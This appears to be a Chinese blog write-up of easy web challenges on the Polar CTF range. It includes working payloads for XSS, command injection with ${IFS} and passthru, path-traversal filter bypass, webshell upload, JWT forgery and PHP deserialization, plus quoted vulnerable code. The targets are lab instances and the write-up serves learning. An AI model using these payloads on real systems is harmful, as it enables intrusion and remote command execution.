【Web】记录Polar靶场<简单>难度题一遍过(全)
目录
swp
简单rce
蜜雪冰城吉警店
召唤神龙
seek flag
jwt
login
iphone
浮生日记
$$
爆破
XFF
rce1
GET-POST
被黑掉的站
签到题
签到
session文件包含
Don't touch me
robots
php very nice
ezupload
upload
干正则
cool
uploader
覆盖
PHP反序列化初试
机器人
明天XYCTF开始,今天干啥也不是,过过签到八股吧。
swp

随手试试,直接访问到/.index.php.swp
最大回溯上限绕过preg_match
import requestsurl = 'http://c7800bea-2a12-428d-b1d0-f2272162efa4.www.polarctf.com:8090/'
data = {'xdmtql': 'sys nb'+'very' * 250000
}r = requests.post(url=url, data=data).text
print(r)
运行脚本拿到flag

简单rce

过滤了空格,可以联想到用include直接包含/flag
蜜雪冰城吉警店

8个奶茶,要找第9个
js有点难审&调试比较牛马,下断一直不中,直接结果论吧,改id为9

改前端,点单成功

召唤神龙
进来是一个js小游戏,但没有胜利条件啥的,js关键词搜不出什么头绪
在main.js中看到一段很刺眼的jsfuck

JSFuck 是一种 JavaScript 的混淆技术,它可以将 JavaScript 代码转换成仅由六个字符组成的代码,即
[]()!+。这种技术基于 JavaScript 语言的强大特性,尤其是强制类型转换和 JavaScript 中的一些奇技淫巧。
CTF在线工具-在线JSfuck加密|在线JSfuck解密|JSfuck|JSfuck原理|JSfuck算法
成功解码拿到flag

seek flag
访问/robots.txt拿到第三段flag

抓包,在响应头处拿到flag2

注意到响应头setcookie,让id=0
本着叛逆的原则,我们可以修改cookie让id为1,成功拿到flag1

jwt

这个一眼垂直越权啊,先注册一个普通用户,然后jwt伪造成功以admin登录

JSON Web Tokens - jwt.io
jwt-cracker爆破出密钥为SYSA

然后jwt伪造
改cookie中的jwt,然后再次访问
进入个人中心,拿到flag

login
f12看到注释,知道学号密码都是20200101

然而只是回显登录成功

爆破后发现就是学号02-11的登录回显,进行拼凑得到flag{dlcg}
iphone

随便点下Enter
右键查看源码,提示改UA

改UA为iphone即可拿到flag

浮生日记

title提示让我们弹个窗
测过无ssti,结合题目名字,合理可以想到js注入
发现替换了script为空,然后赋值给value

显然可以先闭合value,然后独立出一个script执行恶意代码
payload:
"><scrscriptipt>alert(1)</scrscriptipt>

点击确定后拿到flag
$$

直接$GLOBALS读全局变量就可
payload:
?c=GLOBALS

爆破

if(substr($pass, 1,1)===substr($pass, 14,1) && substr($pass, 14,1) ===substr($pass, 17,1)){ ... }:这行代码检查经过 MD5 加密后的字符串的特定位置的字符是否相同。具体地,它检查字符串的第 2、15 和 18 个字符是否相同。如果这三个位置的字符相同,则执行内部代码块。
if((intval(substr($pass, 1,1))+intval(substr($pass, 14,1))+substr($pass, 17,1))/substr($pass, 1,1)===intval(substr($pass, 31,1))){ ... }:这行代码对特定位置的字符进行处理,并将它们转换为整数进行计算。具体地,它计算字符串的第 2、15 和 18 个字符的整数值相加,然后除以第 2 个字符的整数值,并检查结果是否等于字符串的第 32 个字符的整数值。如果相等,则执行内部代码块。
这个肯定不是啥php特性了,只能如题所说,爆破!
2位就能爆出来
XFF

直接xff伪造ip即可
rce1

过滤空格用${IFS}绕过即可
;tac${IFS}fllllaaag.php
右键查看源码,拿到flag

GET-POST

正常传参就行
被黑掉的站

提示站里还有马
扫出来index.php.bak和shell.php
访问index.php.bak,就是给到一个字典
访问shell.php,显然就是拿字典爆破

开爆就完了
拿到flag

签到题

承认是个弟弟,但setcookie初始值为no

改didi=yes,发包

base64解码
访问/data/index.php

替换为空双写绕过即可
payload:
/data/index.php?file=php://filter/convert.base64-encode/resource=..././..././..././..././flag
base64解码即可

签到

把disabled删掉就可
弹窗
但提交后还是不行,继续看前端
把maxlength改大即可
如下
session文件包含

发包,看到响应头给了一个PHPSESSID
点击mydirectory,回显如下

右键查看源码:

似乎可以任意文件包含,尝试读文件
base64解码

<?php
session_start();
error_reporting(0);
$name = $_POST['name'];
if($name){$_SESSION["username"] = $name;
}
include($_GET['file']);
?>
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<a href=action.php?file=1.txt>my dairy</a>
<a href=action.php?file=2.txt>my booklist</a>
</body>
</html>
session_start()一般是给session反序列化用的,这题考的不是反序列化
可以直接利用恶意session文件包含

笑死,直接读环境变量的flag是假的,只能读文件

Don't touch me
右键查看源码

访问/2.php
把bottom的disabled属性给删掉,点击后跳转/3.php
右键查看源码

访问/fla.php拿到flag

robots

访问/robots.txt
访问/fl0g.php拿到flag

php very nice

这不直接喂到嘴边了
$a=new Example();
$a->sys="system('tac f*');";
echo serialize($a);

ezupload

改mime type为image/gif即可

连蚁剑,拿flag
cookie欺骗

cookie改user=admin即可
upload

随便上传一个php文件,发现直接拿掉了后缀,不对其作为php文件进行解析
回到初始界面,右键查看源码

访问?action=show_code拿到源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = str_ireplace($deny_ext,"", $file_name);$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.rand(10000,99999).$file_name; if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
替换为空,直接双写绕过即可

可以看到成功上传php文件

连蚁剑,拿flag
干正则

🤔一眼一个变量覆盖,然后flag.php的正则也形同虚设,可以用通配之类的绕过
无回显的shell_exec也直接echo了
payload:
?id=a[0]=www.polarctf.com&cmd=;tac f*

cool

系统命令执行函数没ban干净只能说
payload:
?a=passthru('cat f*');

uploader

这不就纯纯的无过滤文件上传,还回显路径
用py写个文件上传脚本
import requestsurl = 'http://ca32eb68-d654-4b69-a982-eaf7d23d5242.www.polarctf.com:8090/' # 替换成你的服务器地址files = {'file': open('D:\CTF\码\yjh3.php', 'rb')} # 将文件名替换为你想上传的文件response = requests.post(url, files=files)if response.status_code == 200:print("文件上传成功!")print("服务器返回的消息:", response.text)
else:print("文件上传失败!")print("错误码:", response.status_code)

拿到$sandbox和filename,拼接得到文件路径
http://ca32eb68-d654-4b69-a982-eaf7d23d5242.www.polarctf.com:8090/d7c0fc90dc45cff7fac2064cf82a39a9/yjh3.php
连蚁剑,拿flag

覆盖

和之前哪题好像一样的,不解释了

payload:
?id=a[0]=www.polarctf.com&cmd=;tac f*
PHP反序列化初试

一眼出链子
Easy.__wakeup -> Evil.__toString
注意这里的shell_exec也是echo给了回显
exp:
<?php
class Easy{public $name;
}
class Evil{public $evil;public $env;
}$b=new Evil();
$a=new Easy();
$a->name=$b;
$b->evil="tac f*";
echo serialize($a);?>

机器人

访问/robots.txt
访问/27f5e15b6af3223f1176293cd015771d/flag.php(因为这里Disallow的是一个目录,所以猜测敏感文件在这个目录下)

拼接拿到flag
快速打完,睡觉💤
相关文章:
【Web】记录Polar靶场<简单>难度题一遍过(全)
目录 swp 简单rce 蜜雪冰城吉警店 召唤神龙 seek flag jwt login iphone 浮生日记 $$ 爆破 XFF rce1 GET-POST 被黑掉的站 签到题 签到 session文件包含 Dont touch me robots php very nice ezupload cookie欺骗 upload 干正则 co…...
生产制造园区数字孪生3D大屏展示提升运营效益
在智慧园区的建设中,3D可视化管理平台成为必不可少的工具,数字孪生公司深圳华锐视点打造的智慧园区3D可视化综合管理平台,致力于将园区的人口、经济、应急服务等各项业务进行3D数字化、网络化处理,从而实现决策支持的优化和管理的…...
R语言技能 | 不同数据类型的转换
原文链接:R语言技能 | 不同数据类型的转换 本期教程 写在前面 今天是4月份的第一天,再过2天后再一次迎来清明小假期。木鸡大家是否正常放假呢? 我们在使用R语言做数据分析时,会一直对数据进行不同类型的转换,有时候…...
python如何处理文本错误
在python中,如果读取的文本文件不在程序的目录中,会提示FileNotFoundError 如果不能确定文本文件是否在目录中,可以用try except语句 代码如下 from pathlib import PathpathPath(alice.txt) try:contentspath.read_text(encodingutf_8) e…...
Cesium 批量种树
1、准备树种建模 分各种级别建模LOD1-LODN 其中meta.json长这样: Gltf再3Dmax中导出Obj,再通过ObjToGltf的工具转换,参考 https://editor.csdn.net/md/?articleId96484597 2、准备shp点数据。(shp中的点位就是种树的位置) 3、准…...
Docker基础系列之TLS和CA认证
Docker基础系列之TLS和CA认证 文章目录 Docker基础系列之TLS和CA认证1. 引言2. 初识TLS和CA3. 开启TLS和CA认证3.1 生成证书3.2 配置TLS 4. 参考和感谢 1. 引言 我们日常工作当中会遇到这些需求: 监控Docker容器在idea开发工具中连接Docker,直接发布至…...
总结:微信小程序中跨组件的通信、状态管理的方案
在微信小程序中实现跨组件通信和状态管理,有以下几种主要方案: 事件机制 通过事件机制可以实现父子组件、兄弟组件的通信。 示例: 父组件向子组件传递数据: 父组件: <child binddata"handleChildData" /> 子组件: Component({..., methods: { handleChildData(…...
企业能耗数据分析有哪些优势?怎样进行分析?
随着互联网技术的发展,企业在运营中会出现大量的用能数据,但却做不了精准的用能数据分析,导致数据没有得到有效利用,以及产生能源浪费现象。 为什么企业用能分析总是难? 一、用能分析过程复杂 由于用能分析过于复杂…...
containerd配置HTTP私仓
文章目录 1. 🛠️ 基础环境配置2. 🐳 Docker安装3. 🚢 部署Harbor,HTTP访问4. 📦 部署ContainerD5. 🔄 修改docker配置文件,向harbor中推入镜像6. 配置containerd6.1. 拉取镜像验证6.2. 推送镜像…...
掌握Go语言:Go语言类型转换,无缝处理数据类型、接口和自定义类型的转换细节解析(29)
在Go语言中,类型转换指的是将一个数据类型的值转换为另一个数据类型的过程。Go语言中的类型转换通常用于将一种数据类型转换为另一种数据类型,以满足特定操作或需求。 类型转换的基本语法 在Go语言中,类型转换的基本语法为: ne…...
Chatgpt掘金之旅—有爱AI商业实战篇|文案写作|(三)
演示站点: https://ai.uaai.cn 对话模块 官方论坛: www.jingyuai.com 京娱AI 一、前言 人工智能(AI)技术作为当今科技创新的前沿领域,为创业者提供了广阔的机会和挑战。随着AI技术的快速发展和应用领域的不断拓展&…...
c++20 的部分新概念及示例代码-Contracts,Ranges
C20 引入了 contracts(契约),这是一种编程范式,它允许程序员在代码中添加先决条件(preconditions)、后置条件(postconditions)和断言(assertions)等契约&…...
pytorch剪枝
原文:https://blog.51cto.com/u_16213398/10059574 Pytorch剪枝实现指南 指南概述 在这篇文章中,我将向你介绍如何在PyTorch中实现模型剪枝。剪枝是一种优化模型的技术,可以帮助减少模型的大小和计算量,同时保持模型的准确性。…...
马斯克旗下xAI发布Grok-1.5,相比较开源的Grok-1,各项性能大幅提升,接近GPT-4!
本文原文来自DataLearnerAI官方网站:马斯克旗下xAI发布Grok-1.5,相比较开源的Grok-1,各项性能大幅提升,接近GPT-4! | 数据学习者官方网站(Datalearner) 继Grok-1开源之后,xAI宣布了Grok-1.5的内测消息&…...
数据结构与算法 顺序串的基本运算
一、实验内容 编写一个程序sqstring.cpp,实现顺序串的各种基本运算,并在此基础上实现一个程序exp7.cpp,完成以下功能: (1)建立串s“abcdefghefghijklmn”和串s1“xyz” (2)输出串…...
2024年04月数据库流行度最新排名
点击查看最新数据库流行度最新排名(每月更新) 2024年04月数据库流行度最新排名 TOP DB顶级数据库索引是通过分析在谷歌上搜索数据库名称的频率来创建的 一个数据库被搜索的次数越多,这个数据库就被认为越受欢迎。这是一个领先指标。原始数…...
golang语言系列:SOLID、YAGNI、KISS等设计原则
云原生学习路线导航页(持续更新中) 本文是 golang语言系列 文章,主要对编程通用技能 SOLID、YAGNI、KISS等设计原则 进行学习 1.SOLID设计原则 S:SRP,单一职责原则O:OCP,开闭原则L:…...
Meta Pixel:助你实现高效地Facebook广告追踪
Meta Pixel 像素代码是用來衡量Facebook广告效果的一个官方数据工具,只要商家有在Facebook上投放广告就需要串联Meta Pixel 像素代码来查看相关数据。 它本质上是一段 JavaScript 代码,安装后可以让用户在自己网站上查看到访客活动。它的工作原理是加载…...
基于Arduino IDE 野火ESP8266模块 文件系统LittleFS 的开发
一、文件系统LittleFS的介绍 LittleFS是一个为微控制器设计的轻量级、可靠且高性能的文件系统。它专为嵌入式设备打造,拥有占用空间小、对硬件要求低的特点,同时保证在断电情况下数据的完整性和稳定性。 1.设计与特点 LittleFS的设计旨在提供嵌入式系统所…...
通讯录改造———文件版本
上一篇文章我们详细讲了文件操作,这时候我们就可以把通讯录保存到文件中,这样即使程序退出了,联系人的信息也还是保存着,下一次启动程序时我们就可以把文件中的数据读取到程序中来使用。 保存 首先我们要在退出通讯录之前把联系人…...
51c自动驾驶~合集58
我自己的原文哦~ https://blog.51cto.com/whaosoft/13967107 #CCA-Attention 全局池化局部保留,CCA-Attention为LLM长文本建模带来突破性进展 琶洲实验室、华南理工大学联合推出关键上下文感知注意力机制(CCA-Attention),…...
鸿蒙中用HarmonyOS SDK应用服务 HarmonyOS5开发一个医院挂号小程序
一、开发准备 环境搭建: 安装DevEco Studio 3.0或更高版本配置HarmonyOS SDK申请开发者账号 项目创建: File > New > Create Project > Application (选择"Empty Ability") 二、核心功能实现 1. 医院科室展示 /…...
浅谈不同二分算法的查找情况
二分算法原理比较简单,但是实际的算法模板却有很多,这一切都源于二分查找问题中的复杂情况和二分算法的边界处理,以下是博主对一些二分算法查找的情况分析。 需要说明的是,以下二分算法都是基于有序序列为升序有序的情况…...
Web 架构之 CDN 加速原理与落地实践
文章目录 一、思维导图二、正文内容(一)CDN 基础概念1. 定义2. 组成部分 (二)CDN 加速原理1. 请求路由2. 内容缓存3. 内容更新 (三)CDN 落地实践1. 选择 CDN 服务商2. 配置 CDN3. 集成到 Web 架构 …...
USB Over IP专用硬件的5个特点
USB over IP技术通过将USB协议数据封装在标准TCP/IP网络数据包中,从根本上改变了USB连接。这允许客户端通过局域网或广域网远程访问和控制物理连接到服务器的USB设备(如专用硬件设备),从而消除了直接物理连接的需要。USB over IP的…...
Vue 模板语句的数据来源
🧩 Vue 模板语句的数据来源:全方位解析 Vue 模板(<template> 部分)中的表达式、指令绑定(如 v-bind, v-on)和插值({{ }})都在一个特定的作用域内求值。这个作用域由当前 组件…...
在鸿蒙HarmonyOS 5中使用DevEco Studio实现指南针功能
指南针功能是许多位置服务应用的基础功能之一。下面我将详细介绍如何在HarmonyOS 5中使用DevEco Studio实现指南针功能。 1. 开发环境准备 确保已安装DevEco Studio 3.1或更高版本确保项目使用的是HarmonyOS 5.0 SDK在项目的module.json5中配置必要的权限 2. 权限配置 在mo…...
从零开始了解数据采集(二十八)——制造业数字孪生
近年来,我国的工业领域正经历一场前所未有的数字化变革,从“双碳目标”到工业互联网平台的推广,国家政策和市场需求共同推动了制造业的升级。在这场变革中,数字孪生技术成为备受关注的关键工具,它不仅让企业“看见”设…...
EasyRTC音视频实时通话功能在WebRTC与智能硬件整合中的应用与优势
一、WebRTC与智能硬件整合趋势 随着物联网和实时通信需求的爆发式增长,WebRTC作为开源实时通信技术,为浏览器与移动应用提供免插件的音视频通信能力,在智能硬件领域的融合应用已成必然趋势。智能硬件不再局限于单一功能,对实时…...
华为云Flexus+DeepSeek征文 | 基于Dify构建具备联网搜索能力的知识库问答助手
华为云FlexusDeepSeek征文 | 基于Dify构建具备联网搜索能力的知识库问答助手 一、构建知识库问答助手引言二、构建知识库问答助手环境2.1 基于FlexusX实例的Dify平台2.2 基于MaaS的模型API商用服务 三、构建知识库问答助手实战3.1 配置Dify环境3.2 创建知识库问答助手3.3 使用知…...
